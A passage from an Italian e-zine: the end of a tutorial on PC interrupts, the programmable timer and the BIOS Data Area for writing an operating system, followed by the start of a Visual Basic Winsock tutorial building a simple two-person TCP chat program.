| 7 0Fh LPT1, porta parallela |
| ------------------------------------------------------------------------ |
| 8 70h CMOS REAL-TIME CLOCK |
| 9 71h (vedi nota) |
| 10 72h VARI UTILIZZI |
| 11 73h VARI UTILIZZI |
| 12 74h VARI UTILIZZI |
| 13 75h FPU EXCEPTION |
| 14 76h HARD DISK |
| 15 77h VARI UTILIZZI |
| |
| Nota: la IRQ 9 non esiste piu' ed e' equivalente all'IRQ 2 per ragioni |
| di compatibilita' con le vecchie mappature dei sistemi XT. Se ve |
| l'avessi detto prima, avrei confuso la questione ancora di piu'. La IRQ |
| 2 puo a sua volta essere usata per LPT2 su sistemi a video EGA, mentre |
| su quelli VGA, praticamente tutti quelli odierni, e' riservata alla |
| scheda video. |
| |
| Come vedete dalla tabella, molte IRQ corrispondono irrimediabilmente a |
| delle periferiche. Si potrebbe dire che di recente anche la IRQ 5 e' |
| stata "riservata" alla scheda audio, poiche' spesso una piccola Sound |
| Blaster e' integrata nella stessa motherboard ed in genere e' connessa a |
| quella IRQ, ma la cosa non e' "ufficiale". |
| |
| Il buon vecchio floppino ha la sua IRQ personale, che serve a comunicare |
| quando una lettura/scrittura e' terminata; gloria al buon vecchio |
| floppino, grazie al quale siamo in grado di installarci un bel bootstrap |
| loader senza complicarci troppo le cose, almeno inizialmente, e grazie |
| al quale possiamo avviare il PC anche quando il S.O. dell'HARD DISK fa i |
| capricci; guardatevi di chi vuole toglierlo di circolazione... sarebbe |
| il modo per complicare ulteriormente gli affari semplici: la strada |
| giusta e' mantenere la sua interfaccia, chiamata Legacy ISA, ma |
| espandere la sua capacita', dato che tale interfaccia puo agevolmente |
| raggiungere gli 8,4 gigabytes. |
| La SONY ci ha gia' provato, ed altri l'hanno seguita. Prima o poi |
| qualcuno ce la fara', o almeno e' quel che spero. |
| |
| Poi c'e' l'IRQ zero, che si traduce in una chiamata al vettore |
| d'interrupt numero otto, e che si chiama SYSTEM TIMER. Preparatevi ad |
| essere ancora piu' confusi. L'IRQ zero e' connessa al canale zero del |
| PIT. Oh, no! Cos'e' questo PIT ora? Un'altra sigla? Eh, si. E' il |
| Programmable Interval Timer. |
| Una cosina davvero utile senza la quale i S.O. multitasking, e anche |
| molti altri compiti della macchina, avrebbero grandissime difficolta' |
| nella loro sincronizzazione. Il PIT ha quattro canali, numerati da zero |
| a tre. |
| Il canale zero e' connesso alla linea dell'IRQ zero, in modo che quando |
| il PIT lo comanda, puo far scattare la sua IRQ, ovvero l'interrupt |
| numero 8. |
| E questo avviene, fin dal boot, normalmente 18,2 volte al secondo. |
| Il canale uno NON VA USATO NEMMENO MORTI, perche' e' quello che regola |
| il refresh della memoria (parlo della DRAM, la memoria vera e propria, |
| quella di lavoro). Se alterato, nel migliore dei casi il sistema si |
| pianta, dato che la memoria RAM ha bisogno di periodici impulsi di |
| "refresh" perche' essa conservi intatti i suoi contenuti. |
| Il canale due non e' inizialmente usato, ma puo essere connesso al PCIS, |
| il buon vecchio PC Internal Speaker, quell'affarino che fa "beep" quando |
| accendete il computer, che fa "tac" quando scorrete in fondo a un testo, |
| e che i tecnici meno provvisti di materia grigia montano vicino all'HD. |
| Per curiosita', quei drivers e programmi che usano il PCIS per far |
| suonare delle registrazioni di audio digitale, usano un trucchetto che |
| consiste nell'uso combinato dei canali zero e due del PIT, in modo da |
| ottenere un'alternarsi di accensioni e spegnimenti dell'altoparlante che |
| alla fine e' talmente rapido da far sembrare che l'altoparlante sia |
| mezzo acceso, mezzo spento, e l'orecchio non riesce a distinguere i |
| singoli movimenti, trasformando di fatto il PCIS in un convertitore |
| digitale-analogico come quelli che si trovano nelle schede audio. Ma lo |
| svantaggio e' che ha un solo canale (mono) e non puo suonare a volume |
| molto elevato, a meno che non si apra la motherboard e vi si colleghi un |
| amplificatore... Il canale tre ha vari utilizzi, ma e' bene lasciarlo |
| stare: in genere e' riservato al BIOS e gli scopi a cui presiede sono |
| piuttosto importanti, anche se poco documentati. |
| |
| Secondo me qualcuno, divagazioni a parte, mi chiederebbe che diamine ha |
| a che fare tutto questo con lo sviluppo di un S.O. Be', se ne volete uno |
| multithreading (parte degli attributi di un sistema multitasking) e' |
| molto importante che sincronizziate i threads ed assegnate tempo |
| macchina ai vari programmi tramite il canale zero del PIT. E' il modo |
| piu' semplice e sicuro per farlo, anche se personalmente preferisco i |
| sistemi single-task. |
| La velocita' del canale zero del PIT e' variabile, puo essere |
| riprogrammata, anche se al momento non vi dico come, per non distrarvi. |
| Potete anche fare in modo che l'interrupt 8 venga chiamata piu' di un |
| milione di volte al secondo, anche se non potete fare in modo che venga |
| chiamata MENO di 18,2 volte al secondo: dipende dalla frequenza di |
| oscillazione del cristallo (XTAL) interno al chip chiamato PIT. |
| Questa frequenza e' fissata a 1234DDh Hertz - calma - ho solo espresso |
| la frequenza in hex... e' piu' facile da ricordare, 1234DDh: in |
| decimale, in effetti, sono 1.193.181 hertz, ovvero 1,193181 MHz. Il PIT |
| e' programmato per generare l'IRQ zero in una delle sue modalita' (del |
| PIT) chiamata "interrupt on terminal count", ossia "chiama |
| quell'interrupt quando finisci un certo tuo conto alla rovescia |
| interno"
. Quest'ultima fa si che il PIT generi l'IRQ periodicamente, |
| dato che alla fine del conto alla rovescia la chip ricomincia a contare |
| partendo da un certo valore. Questo valore e' quel che si usa variare |
| per stabilire la frequenza con cui l'IRQ e' generata. Ovviamente, si |
| tratta di un periodo forzatamente multiplo della frequenza |
| dell'oscillatore al quarzo (il XTAL); il registro interno al PIT che |
| effettua il conto alla rovescia e' a 16 bit, e quindi puo contare un |
| massimo di 65.536 unita'. |
| Il BIOS, per convenzione, setta questo valore appunto a 65.536, il |
| "conteggio massimo del PIT". |
| Ora, se dividete la frequenza di 1.193.181 cicli al secondo per 65.536, |
| prendete due piccioni con una fava: vi rendete conto della |
| corrispondenza tra la frequenza di XTAL e la frequenza di chiamata |
| dell'IRQ zero, e in piu' di come ottenere una qualsiasi altra frequenza |
| che vi faccia comodo. |
| Infatti, 1.193.181 diviso per 65.536 da' 18,2064971923828... cioe' |
| proprio la frequenza di chiamata di IRQ zero cosi come la intende il |
| BIOS. |
| Allora, dopo piu' di 300 righe abbiamo finito con i vettori d'interrupt? |
| Ho detto molte cose, ma dovevo dirle proprio tutte, e c'e' ben poco da |
| fare per semplificare la questione: non e' semplice e non pretende di |
| esserlo. Non mi aspetto che sia immediatamente comprensibile: gli |
| argomenti si rincorrono, e si aprono uno dentro l'altro, perche' e' cosi |
| che funziona; e' difficile tenergli dietro, ma di certo potete RILEGGERE |
| il tutto quante volte volete, magari usando carta e penna per fare utili |
| schemini. E... no, non abbiamo finito. |
| |
| Mah, probabilmente a questo punto sarete abbastanza confusi e non vi |
| accorgerete, almeno alla prima lettura, e a meno di avere un QI ben |
| sopra ai 200, che c'e' un apparente conflitto tra i vari usi dei vettori |
| compresi tra 8 e 15 (o tra 8h ed Fh esprimendoli in esadecimale). |
| Infatti, il vettore 8 era usato dalla CPU per segnalare un DOUBLE FAULT, |
| eppure viene anche chiamato 18,2 volte al secondo, via PIT channel zero. |
| Che significa questo? Che 18,2 volte al secondo avviene un DOUBLE FAULT? |
| Neanche per idea: i gestori di tali situazioni, i programmi che |
| reagiscono alle chiamate al vettore 8, coincidono, ma c'e' un modo per |
| distinguere le IRQ dalle "eccezioni" generate dal processore. Infatti, |
| il processore ci segnala che si tratta di una chiamata conseguente |
| un'eccezione, come il DOUBLE FAULT, salvando un valore sullo stack. E' |
| un valore a 32 bit, che rappresenta un codice d'errore. Quando ne |
| sapremo di piu', potremo allora confrontare l'immagine dello stack e |
| verificare se corrisponde ad una normale chiamata d'interrupt (niente |
| codice d'errore) oppure ad una vera e propria eccezione (codice d'errore |
| presente). Questo si applica anche alle altre interrupts al di sotto del |
| vettore numero 32, che in teoria possono tutte essere usate come canali |
| per le "eccezioni" del processore. |
| |
| E gli altri vettori, quelli sopra al 15, vengono usati per altri cose |
| oltre che per eventuali eccezioni della CPU? Si, e sono molto |
| importanti. I vettori da 10h a 1Fh sono infatti riservati ai dispatchers |
| del BIOS. |
| Bene! Cos'e' un "dispatcher"? E' una piccola subroutine che risponde |
| alla chiamata, operata *via software*, ad un certo vettore d'interrupt. |
| Ora, per fare una chiamata del genere, si usa il comando assembly "int", |
| seguito dal numero di vettore che si vuole chiamare. I dispatchers hanno |
| il compito di interpretare quello che noi abbiamo richiesto al BIOS; |
| infatti, tutti i vettori del BIOS hanno bisogno, prima di essere |
| chiamati, che i registri della CPU siano impostati a determinati valori, |
| e tali valori dipendono da quello che vogliamo che il BIOS faccia per |
| noi. Per esempio, se volessimo impostare una modalita' grafica 320x200 |
| con 256 colori, quella che viene chiamata anche MCGA, e che ad esempio |
| Windows usa per mostrare il suo "logo" durante il caricamento (in |
| realta' usa una versione "tweaked" della MCGA, chiamata ModeX, ma |
| discende in linea diretta dalla MCGA e per aprire un ModeX il primo |
| passo e' comunque questo), dovremmo impostare il registro AX, che e' a |
| 16 bit, al valore 0013h. |
| Dopodiche', dovremmo fare una chiamata ai "BIOS Video Services", ovvero |
| a quel vettore che smista le chiamate alle varie funzioni del BIOS che a |
| loro volta sovrintendono alla manipolazione delle porte che connettono |
| la motherboard alla scheda video. |
| I "BIOS Video Services" sono tutti accessibili tramite il vettore 10h, |
| ovvero l'interrupt numero 16. Quindi, il codice assembly per aprire la |
| modalita' MCGA e', in definitiva, il seguente: |
| |
| MOV AX, 0013h |
| INT 10h |
| |
| oppure, evidenziando le parti del registro AX, chiamate AL ed AH: |
| |
| MOV AH, 00h ; AH contiene un codice operativo per INT 10h |
| MOV AL, 13h ; AL contiene un parametro per il codice operativo 00h |
| INT 10h ; chiama il dispatcher dei BIOS Video Services |
| |
| I vari files "interrup.a", "interrup.b", "interrup.c" degli archivi di |
| Ralf Brown sono un comprendio, se non proprio di tutte, di gran parte |
| delle possibili chiamate ai dispatchers, sia a quelli del BIOS che a |
| quelli del DOS. Questi ultimi pero, nel nostro caso, non ci interessano. |
| Proprio per questo e' utile sapere che essendo le interrupts, in quei |
| files, raggruppate in ordine numerico, i files piu' interessanti sono i |
| primi cinque, ovvero quelli chiamati da "interrup.a" fino a |
| "interrup.e". Tuttavia, gli elenchi di Ralf annoverano chiamate di ogni |
| genere, non soltanto relative al BIOS, quindi e' utile far caso a CHE |
| COSA, in effetti, eseguira' il comando, dato che nella nostra situazione |
| non possiamo contare sulle chiamate ammesse da sistemi operativi e/o |
| drivers caricati come software. Per esempio: |
| |
| --------V-1000------------------------------- |
| INT 10 - VIDEO - SET VIDEO MODE |
| AH = 00h |
| AL = desired video mode (see #00010) |
| Return: AL = video mode flag (Phoenix, AMI BIOS) |
| 20h mode > 7 |
| 30h modes 0-5 and 7 |
| 3Fh mode 6 |
| AL = CRT controller mode byte (Phoenix 386 BIOS v1.10) |
| Desc: specify the display mode for the currently active display |
| adapter |
| |
| Qui sopra e' un estratto dell'elenco "interrup.a", relativo proprio alla |
| chiamata per impostare una nuova modalita' video, di cui parlavo poco |
| fa. La cosa e' ragionevolmente fattibile, ci si puo aspettare che sia |
| largamente supportata da pressoche' tutti i BIOS, in quanto e' |
| dichiarata come parte delle funzioni "VIDEO", e non vi sono indicazioni |
| specifiche per particolari tipi di scheda, o relative a un qualche |
| driver software. |
| Per fare un esempio di una funzione NON supportata da tutti i BIOS, |
| basta scorrere l'elenco fino al paragrafo successivo, il quale riporta: |
| |
| --------V-10007E----------------------------- |
| INT 10 - VIDEO - Paradise VGA, AT&T VDC600 - SET SPECIAL MODE |
| |
| Questo tipo di chiamata, come si vede dall'intestazione, e' supportata |
| solo da schede Paradise VGA, oppure AT&T VDC600. Siccome non stiamo |
| sviluppando dei drivers specifici, ma bensi il KERNEL del nostro S.O., |
| non possiamo rivolgere le nostre attenzioni a particolari dispositivi: |
| il KERNEL deve poter funzionare pressoche' ovunque. |
| |
| 0040h - BDA (BIOS Data Area), di 256 bytes, ma MOLTO densi di |
| significati. |
| Anche per quest'area, vi rimando ai files di Ralf Brown, in particolare |
| al file chiamato "memory.lst", perche' sebbene stia cercando di spiegare |
| tutto quello che posso, descrivere per esteso tutte le locazioni di |
| quest'area farebbe davvero diventare questo capitolo un tantino troppo |
| lungo. |
| In breve, quest'area contiene molte locazioni abbastanza importanti: |
| come prima cosa gli indirizzi delle varie porte seriali e parallele... |
| |
| 0040:0000 - Indirizzo di base della porta COM1 (di solito contiene |
| 03F8h) |
| 0040:0002 - Indirizzo di base della porta COM2 (di solito contiene |
| 03E8h) |
| 0040:0004 - Indirizzo di base della porta COM3 (zero se non presente) |
| 0040:0006 - Indirizzo di base della porta COM4 (zero se non presente) |
| 0040:0008 - Indirizzo di base della porta LPT1 (prima porta parallela) |
| 0040:000A - Indirizzo di base della porta LPT2 (zero se non presente) |
| 0040:000C - Indirizzo di base della porta LPT3 (zero se non presente) |
| 0040:000E - Indirizzo di base della porta LPT4 (oppure indirizzo |
| dell'XBDA) |
| |
| Gli indirizzi di base si riferiscono agli indirizzi di I-O di alcune |
| porte, chiamate appunto "porte di I-O", tramite le quali vengono |
| controllate le periferiche a bassissimo livello. Raramente si ha la |
| necessita' di scendere al livello delle porte di I-O per sfruttare una |
| periferica, e per questo dobbiamo ringraziare i dispatchers del BIOS, |
| che in massima parte fanno proprio questo sporco lavoro per noi. |
| Tuttavia, alcuni casi, come quelli delle porte COM ed LPT, richiedono |
| ancora tali manovre. Altri casi molto frequenti sono quelli relativi al |
| mouse BUS, quando il mouse non e' seriale, ed al settaggio dei registri |
| di controllo del circuito CRT della scheda video, il quale controlla |
| moltissimi aspetti della visualizzazione. |
| Nello sviluppo di un prototipo di KERNEL, toccheremo i vari aspetti... |
| |
| Poi ci sono molti altri indirizzi utili, solo che una descrizione |
| accurata richiederebbe troppo spazio, e quindi mi vedo costretto a |
| rimandarla ai prossimi capitoli. Per ora, se volete esercitare il vostro |
| intuito, vi mostro un breve catalogo "ufficiale" delle locazioni, per il |
| quale non ho crediti da presentare in quanto l'ho scritto io. Le |
| locazioni che iniziano per "b" sono lunghe 1 byte, quelle che iniziano |
| per "w" sono lunghe 1 word, ovvero 16 bits, ovvero 2 bytes, e infine |
| quelle che iniziano per "d" sono delle doublewords, ovvero 32 bits, |
| ovvero 4 bytes. |
| |
| bdta = 00000400h ; Base address of the Bios Data |
| ; Area |
| w_bios_XBDA_segment = 0Eh+ bdta ; XBDA Segment if no LPT4 present |
| w_bios_installedHW = 10h+ bdta ; Installed hardware |
| b_bios_POSTflags = 12h+ bdta ; POST control flags (informative) |
| w_bios_BaseMemorySize = 13h+ bdta ; Legacy memory size expressed in |
| ; Kb. |
| w_bios_AdapterMemSize = 15h+ bdta ; Video adapter memory in Kb. |
| ; (PC/XT) |
| b_bios_KeyClickVolume = 16h+ bdta ; Only for compaq deskpro 386 |
| b_bios_KBDLedStatus = 17h+ bdta ; Keyboard status flags (LEDs |
| ; control) |
| b_bios_KBDCtrStatus = 18h+ bdta ; Second group of keyb. status |
| ; lags |
| b_bios_KBDAltCode = 19h+ bdta ; Keypad ALT + NNN code |
| w_bios_KBDBufferTop = 1Ah+ bdta ; Holds ptr to the next key in |
| ; buffer |
| w_bios_KBDBufferFree = 1Ch+ bdta ; Holds ptr to first free slot in |
| ; bfr |
| w_bios_KBDBuffer = 1Eh+ bdta ; Keyboard circular buffer (16 |
| ; words) |
| b_bios_floppyrecalibrate = 3Eh+ bdta ; Floppy: drive recalibration |
| ; status |
| b_bios_floppymotor = 3Fh+ bdta ; Floppy: motor status |
| b_bios_floppytimeout = 40h+ bdta ; Floppy: timer ticks to motor off |
| b_bios_floppystatus = 41h+ bdta ; Floppy: status of last operation |
| b_bios_diskctrlbytes = 42h+ bdta ; FD/HD disk activity control |
| ; bytes |
| b_bios_currentvideomode = 49h+ bdta ; OEM code of current video mode |
| w_bios_columnsonscreen = 4Ah+ bdta ; Effective in text modes |
| w_bios_regenbuffersize = 4Ch+ bdta ; - - - - |
| w_bios_regenstart = 4Eh+ bdta ; - - - - |
| w_bios_cursorspos = 50h+ bdta ; - - - - |
| w_bios_cursorshape = 60h+ bdta ; - - - - |
| b_bios_currentpage = 62h+ bdta ; - - - - |
| w_bios_controllerIOaddr = 63h+ bdta ; Normally, 03B4h=mono, 03D4h=color |
| b_bios_videomodeselect = 65h+ bdta ; Last value written to #3B8h/3D8h |
| b_bios_cgapalettesetting = 66h+ bdta ; Last value written to port #3D9h |
| d_bios_resetstartptr = 67h+ bdta ; Pointer to warm reset handler |
| d_bios_ticksincemidnite = 6Ch+ bdta ; Updated by INT 08h from the PIC |
| b_bios_timeroverflow = 70h+ bdta ; Set to 1 if midnight passed |
| b_bios_ctrlbreakflag = 71h+ bdta ; Used to remember a ctrl-break |
| ; event |
| w_bios_POSTresetflag = 72h+ bdta ; Action to perform upon warm reset |
| b_bios_HDstatus = 74h+ bdta ; Last HD operation status |
| b_bios_numberofHDs = 75h+ bdta ; Number of Hard Drives |
| b_bios_HDcontrolbyte = 76h+ bdta ; HD control byte (XT only) |
| b_bios_HDcontrolport = 77h+ bdta ; HD control port address (XT only) |
| b_bios_lpt1timeout = 78h+ bdta ; 1st parallel port time-out count. |
| b_bios_lpt2timeout = 79h+ bdta ; 2nd parallel port time-out count. |
| b_bios_lpt3timeout = 7Ah+ bdta ; 3rd parallel port time-out count. |
| b_bios_lpt4timeout = 7Bh+ bdta ; 4th parallel port time-out count. |
| b_bios_int4bflags = 7Bh+ bdta ; Status flags for int 4B |
| b_bios_com1timeout = 7Ch+ bdta ; 1st serial port time-out count. |
| b_bios_com2timeout = 7Dh+ bdta ; 2nd serial port time-out count. |
| b_bios_com3timeout = 7Eh+ bdta ; 3rd serial port time-out count. |
| b_bios_com4timeout = 7Fh+ bdta ; 4th serial port time-out count. |
| w_bios_keybufferstart = 80h+ bdta ; keyboard buffer start (always |
| ; 1Eh) |
| w_bios_keybufferendp1 = 82h+ bdta ; - - end (always |
| ; 3Eh) |
| b_bios_rowsonscreenm1 = 84h+ bdta ; text lines on the screen, - 1 |
| b_bios_scanlinesperchar = 85h+ bdta ; scan lines for each character |
| b_bios_videocontrol = 87h+ bdta ; only for EGA/VGA. zero on CGA. |
| b_bios_videoswitches = 88h+ bdta ; video switches for MDA/EGA/VGA. |
| b_bios_modesetoptions = 89h+ bdta ; effective on MCGA and VGA. |
| b_bios_displayCTBLindex = 8Ah+ bdta ; display comb. table index |
| b_bios_diskettemediactrl = 8Bh+ bdta ; diskette media control |
| |
| Be', forse qualcuno vorra' provare a smanettare un po', ma vi consiglio |
| di essere prudenti: e' roba importante, direi che si tratta di "parti |
| intime"
del PC, senza riferimenti a qualcosa di pornografico... ;) |
| Per chi vuol dare un'occhiata alla BDA operante "in diretta", ho incluso |
| fra gli attachments di questo capitolo un programmino che si chiama |
| AROM, e che mostra appunto quella parte di memoria che corrisponde alla |
| BDA. Mentre il programma sta girando, potete osservare numerose reazioni |
| del BIOS. Ad esempio, vi accorgete che c'e' una locazione che varia di |
| continuo: e' quella chiamata "d_bios_ticksincemidnite", un vero e |
| proprio "orologio" il cui valore e' incrementato dall'interrupt 8, |
| quella legata ad IRQ zero, quella che viene chiamata 18,2 volte al |
| secondo. Provate anche a digitare qualcosa: vedrete alcune locazioni |
| animarsi in risposta alla pressione dei tasti, e se avete un minimo |
| d'occhio clinico potrete seguire le evoluzioni del buffer circolare |
| della tastiera. |
| Altro esperimento: provate ad accendere e spegnere i vari LEDs della |
| tastiera, il Num Lock (o Bloc Num in italiano), il Caps Lock (CIOE' IL |
| TASTO CHE HA QUESTO EFFETTO), lo Scroll Lock (o Bloc Scorr). Osservate |
| una delle locazioni delle prime righe reagire all'accensione/spegnimento |
| delle tre spie luminose: si tratta dei "keyboard status flags". Questi |
| sono davvero divertenti: come diverse altre locazioni della BDA, non |
| sono semplici flags, semplici locazioni di memoria, perche' sono |
| strettamente connessi all'interrupt di tastiera, che ne analizza le |
| variazioni e manda alla tastiera i comandi necessari per riflettere la |
| condizione dei flags sulle "reali" lucette. In breve: se fate un |
| programma che cambia il valore di quella locazione, precisamente la |
| 0040h:0017h, oppure 0000h:0417h, otterrete l'accensione e lo spegnimento |
| delle spie, proprio come se qualcuno avesse premuto uno dei tasti |
| corrispondenti. Una volta scrissi un programmino che faceva dei |
| giochetti luminosi con quelle spie... |
| Lo stesso avviene per il time-out del motore del floppy: si puo causare |
| l'accensione del motore, come l'accensione/spegnimento rapido, ma questo |
| ve lo sconsiglio... e' ovvio che il drive vi si puo rovinare facilmente. |
| Ah, e per uscire dal programma "AROM"... premete un pulsante del mouse. |
| |
| Be', siamo oltre la lunghezza massima dell'articolo gia' da un bel po'. |
| Stringere non sarebbe servito a molto: ci sono cose che o spiego nei |
| prossimi capitoli, o non spiego per niente, perche' tentare di spiegarle |
| in poche righe sarebbe inutile. Non ci si capirebbe nulla. Mi spiace |
| anche per la mancanza del promesso esempio di KERNEL, ma vi garantisco |
| che l'attesa non sara' vana: nel frattempo, lo rifiniro e lo commentero |
| per esteso. Ma non voglio che pensiate comunque di aver letto solo |
| spazzatura: uno dei primi compiti di un moderno KERNEL e' controllare lo |
| svolgimento di TUTTE le interrupts, figuratevi un po'... e soprattutto, |
| se vi avessi spiattellato davanti il sorgente di un KERNEL senza |
| spiegare nulla di quel che c'e' sotto, sarebbe stato comunque inutile. |
| Non sapete ancora tutto, fra l'altro: sono rimasto molto sul teorico |
| appositamente per passare alla pratica la prossima volta. |
| D'altronde, "tutto e subito" e' pur sempre un'utopia, no? Intanto, se |
| volete un consiglio, esercitate *PARECCHIO* l'assembly dei processori |
| Intel. Vi servira' come il pane. |
| Abbiate fiducia... vedrete, lo costruiremo, il nostro S.O. personale. |
| Ve lo promette uno che ne ha gia' scritti un paio ;)... potete fidarvi. |
| |
| Alexander The Great |
| alex.tg@tiscalinet.it |
| www.4t4.org |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #05 - 14/01/2002 |
| WiNS0CK e ViSUAL BASiC [Screener_it] 0x11/0x23 |
+--------------------------------------------------------------------------+
| |
| Dopo tanti articoli dedicati alle cazzate più immani che potete trovare |
| in internet mi sono finalmente deciso a scrivere qualcosa di serio.. |
| Oppure da meno lamer, a voi la scelta !! |
| L'argomento che andrò a trattare è cmq molto leggero e semplice da |
| comprendere, niente di impegnativo.. |
| /=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\= |
| Ok. Partiamo da ciò che ci serve.. |
| 1.-) Visual Basic 5 o successivi |
| 2.-) questo testo |
| Penso che quasi tutto quelli che leggeranno 'sto testo sanno |
| programmare in Visual Basic più o meno. Oppure sono l'unico che usa |
| 'sto cazzo di linguaggio ? Cmq se non lo sapete imparatelo, è |
| facilissimo e dà risultati interessanti.. |
| /=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\= |
| Come dicevo.. Ormai tutti sanno programmare, qual'è adesso come adesso |
| lo scoglio più grande per chi programma ? Passare a programmi che |
| sfruttato le potenzialità della rete. Infatti raramente negli help |
| troverete voci tipo "Internet" o altro di facilmente collegabile alla |
| programmazione di "rete". E al massimo quello che si trova è difficile |
| da capire e ci sono degli esempi che servono a poco o a niente. |
| Invece è tutto molto semplice (per lo meno le basi) ed io sono riuscito |
| a capire le basi in meno di un'ora grazie alle spiegazioni che |
| ho trovato. |
| Allora.. In Visual Basic per fare programmi che sfruttano le |
| potenzialità della rete (chat, finger, demoni, ecc..) abbiamo bisogno |
| di un oggetto un po' particolare.. Il Winsock. |
| E dove si trova il Winsock ? Aprite il vostro Visual Basic e andate nel |
| menù progetto e selezionate componenti. |
| Adesso scorrete l'elenco degli oggetti fino a trovare Microsoft Winsock |
| Control 5.0 (o versioni successivi.. Fate un po' voi !!). |
| Mettete il segno di spunta lì vicino e cliccate Ok. |
| Adesso nella barra degli strumenti sarà apparita un icona con due |
| computer. Andategli sopra con il mouse e apparirà la magica scritta.. |
| "Winsock". E adesso ? |
| Adesso bisogna inserirla nella form, no ? Selezionatela, posizionatevi |
| nella form e inseritela. |
| Ecco, adesso siete pronti per cominciare a programmare in rete. |
| Ok, adesso devo aprire una piccola parentesi.. Il Winsock supporta i |
| due principali protocolli della rete, cioè il TCP e l' UDP. |
| Bhè, non sto qui a spiegarvi l'esatta differenza millesimale tra i due, |
| dato che questo non è luogo e capirne la differenza non è essenziale. |
| Sappiate solo che i due protocolli sono diversi (se volete informarvi |
| cercate qualche testo su tutte le ezine che ci sono in rete..) e che |
| per i nostri scopi useremo principalmente il TCP. |
| Mh.. Onestamente con il winsock la teoria serve ben a poco e quindi |
| passeremo subito alla pratica così vi spieghero' passo a passo.. |
| La prima cosa, la più elementare ? Un programma di chat tra due |
| persone.. Per poi potersene vantarsene con gli amici. |
| |
| ________________________________________________ |
| ___________ ________ | |
| COLLEGATI A: |IP_________| |CONNETTI|__ | |
| SULLA PORTA: |PORTA______| |DISCONNETTI| | |
| |ASCOLTA_| | |
| ___________ | |
| STATO DELLA CONNESSIONE: |STATO______| | |
| ______________________________ | |
| | | | |
| |CHAT | | |
| | | | |
| | | | |
| | | | |
| |______________________________| | |
| ________________ _____ | |
| |TESTO___________| |INVIA| | |
| | |
| ________________________________________________| |
| |
| Questo è il disegnino della chat, ora però devo dirmi i nomi altrimenti |
| il codice che vi dò non vi và. Vi dò solo i nomi importanti, alcune |
| label come Collegati a, Porta, ecc.. sono ininfluenti. |
| Ip = txtip |
| porta = txtporta |
| Connetti = cmdconnetti |
| Disconnetti = cmddisconnetti |
| Ascolta = cmdascolta |
| stato = lblstato |
| chat = txtchat |
| testo = txttesto |
| invia = cmdinvia |
| Ricordatevi di impostare txtchat su multiline = true e scrollbars = |
| 2-Vertical, magari anche locked = True.. |
| Logicamente metteteci anche il controllo winsock e dategli come |
| name TCP1 |
| Ok, adesso vi passo il codice.. |
| Private Sub cmdascolta_Click() |
| lblstato.Caption = "IN ASCOLTO" |
| TCP1.LocalPort = Val(txtporta) |
| TCP1.Listen |
| End Sub |
| Private Sub cmdconnetti_Click() |
| If (TCP1.State <> sckClosed) Then TCP1.Close |
| TCP1.LocalPort = 0 |
| TCP1.Connect txtip, Val(txtporta) |
| End Sub |
| Private Sub cmdinvia_Click() |
| a$ = txttesto |
| txtchat = "Inviato:" & a$ & vbCrLf & txtchat |
| TCP1.SendData a$ |
| End Sub |
| Private Sub cmdisconnetti_Click() |
| lblstato.Caption = "INATTIVO" |
| TCP1.Close |
| End Sub |
| Private Sub TCP1_Close() |
| lblstato.Caption = "INATTIVO" |
| TCP1.Close |
| End Sub |
| Private Sub TCP1_Connect() |
| lblstato.Caption = "ATTIVO" |
| txtip = TCP1.RemoteHost |
| End Sub |
| Private Sub TCP1_ConnectionRequest(ByVal requestID As Long) |
| If (TCP1.State <> sckClosed) Then TCP1.Close |
| TCP1.LocalPort = 0 |
| TCP1.Accept requestID |
| lblstato.Caption = "ATTIVO" |
| txtip = TCP1.RemoteHostIP |
| End Sub |
| Private Sub TCP1_DataArrival(ByVal bytesTotal As Long) |
| Dim Data As String |
| On Error Resume Next |
| TCP1.GetData Data |
| txtchat = "Ricevuto:" & Data & vbCrLf & txtchat |
| End Sub |
| Ecco qui.. 32 righe in tutto !! Per un chat (seppur molto basilare) |
| sono poche.. Per il funzionamento: i computer devono essere due. Uno |
| dei due mette un numero qualsiasi nella txt della porta e poi |
| clicca "Ascolta". |
| L'altro inserisce nella casella txtip l'ip del computer in ascolto e la |
| porta su cui è in ascolto e clicca Connetti |
| Però sarà meglio che ve le spiego, vero ? Allora.. |
| ==================================================================== |
| Private Sub cmdascolta_Click() |
| lblstato.Caption = "IN ASCOLTO" |
| TCP1.LocalPort = Val(txtporta) |
| TCP1.Listen |
| End Sub |
| Cliccando sul tasto "Ascolta" cambia la caption di lblstato. Ma questo |
| lo vedete da soli. |
| In più cliccando su "Ascolta" il winsock tramite il protocollo TCP |
| prende la porta che gli avete indicato in txt porta e poi si pone in |
| ascolto su quella. |
| TCP1.LocalPort = Val(txtporta) 'sceglie la porta |
| TCP1.Listen 'si pone in ascolto |
| ==================================================================== |
| Private Sub cmdconnetti_Click() |
| If (TCP1.State <> sckClosed) Then TCP1.Close |
| TCP1.LocalPort = 0 |
| TCP1.Connect txtip, Val(txtporta) |
| End Sub |
| Clicchiamo su Connetti.. Prima controlla che lo stato di TCP1 non si |
| chiuso e poi imposta la porta locale a zero. Infine si collega all'ip |
| che gli avete indicato in txtip sulla porta che gli avete indicato |
| su txtporta |
| TCP1.Connect txtip [IP CHE GLI AVETE DATO], Val(txtporta) [PORTA CHE |
| GLI AVETE DATO] |
| ==================================================================== |
| Private Sub cmdinvia_Click() |
| a$ = txttesto |
| txtchat = "Inviato:" & a$ & vbCrLf & txtchat |
| TCP1.SendData a$ |
| End Sub |
| Mh..Qui analizziamo uno dei comandi più importanti del |
| winsock.. SendData |
| Per chi sa l'inglese la comprensione è semplicissima !! SendData = |
| spedisci dati. |
| Tramite questo comando (sintassi: NOMEWINSOCK.SendaData |
| OGGETTODASPEDIRE ) spediamo al computer |
| con il quale siamo connessi una stringa di caratteri.. |
| In questo caso spediamo la variabile a$ a cui attribuiamo il testo |
| contenuto nella casella txttesto. |
| [ txtchat = "Inviato:" & a$ & vbCrLf & txtchat ] invece indica nella |
| casella txtchat deve apparire il contenuto della variabile a$ preceduta |
| dalla scritta "Inviato:" (così vediamo quello che abbiamo scritto noi e |
| quello che abbiamo ricevuto) e seguita dal precedente contenuto |
| di txtchat. |
| vbCrLf per chi non lo sapesse è uguale a Invio. |
| ==================================================================== |
| Private Sub cmdisconnetti_Click() |
| lblstato.Caption = "INATTIVO" |
| TCP1.Close |
